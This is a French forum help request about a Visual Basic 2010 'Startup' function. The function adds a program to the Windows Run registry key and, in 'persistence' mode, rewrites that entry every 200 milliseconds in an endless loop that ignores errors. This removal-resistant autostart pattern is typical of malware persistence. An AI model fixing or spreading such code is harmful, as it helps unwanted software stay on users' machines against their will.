Erreur visual Basic 2010

Bonjour, voilà, je ne trouve pas l'erreur .. Merci de votre aide :) !

#Region "Startup"
Public Shared Function Startup(ByVal File As String, ByVal Path As String, ByVal Persistence As Boolean)
Try
Dim Reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim K As Microsoft.Win32.RegistryKey = Reg.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
K.SetValue(File, Path, Microsoft.Win32.RegistryValueKind.String)
Catch
End Try
If Persistence = True Then
For i As Integer = 0 To 1 Step 0
Try
Dim R As Microsoft.Win32.RegistryKey
R = Microsoft.Win32.Registry.CurrentUser
Dim K As Microsoft.Win32.RegistryKey = R.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
K.SetValue(File, Path, Microsoft.Win32.RegistryValueKind.String)
System.Threading.Thread.Sleep(200) : Catch : System.Threading.Thread.Sleep(200) : End Try
Next
End If
End Function

#End Region